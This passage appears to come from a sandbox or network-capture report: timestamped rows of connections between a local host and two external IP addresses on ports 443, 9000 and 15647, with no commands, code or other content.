Nov 28, 2024 09:53:46.601829052 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.643476963 CET	9000	49805	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.643652916 CET	49805	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.643851042 CET	49805	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.647335052 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.654593945 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.654706955 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.665263891 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.669384003 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.669399977 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.669799089 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.669804096 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.683736086 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.720062971 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.722959042 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.722974062 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.739388943 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.764381886 CET	9000	49805	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.817518950 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.817620039 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.853789091 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.853940964 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.867152929 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.870492935 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.870515108 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.937596083 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.973946095 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.984976053 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.036293030 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.039916039 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.062238932 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.068165064 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.114418030 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.114418030 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.129688978 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.148119926 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.176892996 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.176907063 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.192533016 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.213526011 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.213542938 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.214051008 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.214055061 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.215995073 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.216053963 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.246304035 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.272452116 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.286297083 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.286339045 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.287519932 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.317589045 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.319037914 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.319107056 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.321115017 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.337923050 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.337982893 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.363339901 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.458020926 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.458091974 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.534894943 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.534982920 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.541740894 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.545108080 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.545141935 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.579112053 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.655719995 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.655811071 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.668648958 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.701718092 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.704997063 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.705082893 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.705121040 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.708606958 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.708625078 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.708637953 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.709141970 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.709163904 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.710479021 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.723788023 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.755328894 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.816065073 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.816246033 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.866178036 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.866427898 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.902903080 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.906193018 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:47.906228065 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:47.936244011 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.955285072 CET	9000	49805	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.955331087 CET	9000	49805	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.955383062 CET	49805	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.957578897 CET	49805	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:47.986385107 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.986459970 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:47.986480951 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.068048954 CET	49806	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.076323032 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.076412916 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.077507019 CET	9000	49805	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.112052917 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.112063885 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.115575075 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.115596056 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.188013077 CET	9000	49806	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.188229084 CET	49806	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.188484907 CET	49806	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.196400881 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.196465969 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.196624994 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.197170019 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.197243929 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.200129986 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.200135946 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.200254917 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.202315092 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.202326059 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.204130888 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.239511967 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.251329899 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.308330059 CET	9000	49806	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.322892904 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.323040962 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.398355961 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.401670933 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.401695013 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.406822920 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.406913042 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.488001108 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.526822090 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.526971102 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.526973963 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.556905031 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.559999943 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.560024977 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.560168028 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.564433098 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.564596891 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.564656973 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.564666033 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.565828085 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.567503929 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.568923950 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.569123030 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.569144011 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.572856903 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.575052977 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.619328976 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.653686047 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.654917955 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.737670898 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.739022017 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.758163929 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.763983965 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.764017105 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.816106081 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.857217073 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.858961105 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.859107971 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.885516882 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.942528963 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.942557096 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.946197987 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:48.946213007 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:48.979156017 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.980664968 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:48.985368013 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:48.988688946 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.048702955 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.086625099 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.086694956 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.086711884 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.090053082 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.090066910 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.090533018 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.092082977 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.092101097 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.144057035 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.144117117 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.189692020 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.189764023 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.238460064 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.249840975 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.257707119 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.264066935 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.286401987 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.303340912 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.309767008 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.309848070 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.311157942 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.345484018 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.348933935 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.348973036 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.364463091 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.449476957 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.449561119 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.451466084 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.454405069 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.454438925 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.501308918 CET	9000	49806	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.501585960 CET	49806	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.501652002 CET	9000	49806	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.501717091 CET	49806	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.574424982 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.612025023 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.612200975 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.614411116 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.614444017 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.615165949 CET	49807	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.621809959 CET	9000	49806	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.640542984 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.661319017 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.692598104 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.732229948 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.735225916 CET	9000	49807	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.735357046 CET	49807	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.737859011 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.737960100 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.759010077 CET	49807	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.778773069 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.780361891 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.833168030 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.850785971 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.879115105 CET	9000	49807	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.895643950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.898765087 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.898902893 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:49.939532995 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:49.942802906 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:49.989406109 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:49.989412069 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.030667067 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.061052084 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.102185965 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.227660894 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.227730036 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.229274035 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.270673037 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.388025045 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.388088942 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.483331919 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.483450890 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.508152962 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.603476048 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.603694916 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.693624020 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.693722010 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.718915939 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.723916054 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.770796061 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.813719988 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.813900948 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.929119110 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:50.929229021 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:50.933825016 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.024264097 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.024404049 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.049298048 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.117790937 CET	9000	49807	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.117935896 CET	9000	49807	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.117997885 CET	49807	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.117997885 CET	49807	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.144176960 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.144265890 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.144375086 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.224383116 CET	49808	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.237968922 CET	9000	49807	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.259902954 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.259983063 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.264329910 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.344368935 CET	9000	49808	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.344466925 CET	49808	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.344575882 CET	49808	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.358110905 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.358220100 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.380234957 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.464582920 CET	9000	49808	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.475642920 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.475739002 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.478344917 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.590673923 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.590801001 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.595793962 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.688744068 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.688924074 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.711108923 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.806543112 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.806720972 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.808840990 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.922384024 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:51.922486067 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:51.926867962 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.019273996 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.019402981 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.042581081 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.137531996 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.137723923 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.139617920 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.253031969 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.253180027 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.257677078 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.350049019 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.350167036 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.373075008 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.468106985 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.468194962 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.470066071 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.583610058 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.588176012 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.593457937 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.713469982 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.713618040 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.746264935 CET	9000	49808	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.746361971 CET	9000	49808	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.746417046 CET	49808	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.746459961 CET	49808	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.800870895 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.833513975 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.833617926 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.849261045 CET	49809	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.866413116 CET	9000	49808	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.924139977 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.953676939 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.953768969 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.969172955 CET	9000	49809	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:52.969418049 CET	49809	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:52.969535112 CET	49809	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.043900013 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.043998957 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.073740959 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.089411020 CET	9000	49809	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.164172888 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.164272070 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.164540052 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:53.208148003 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:53.284177065 CET	15647	49769	45.141.84.168	192.168.2.4
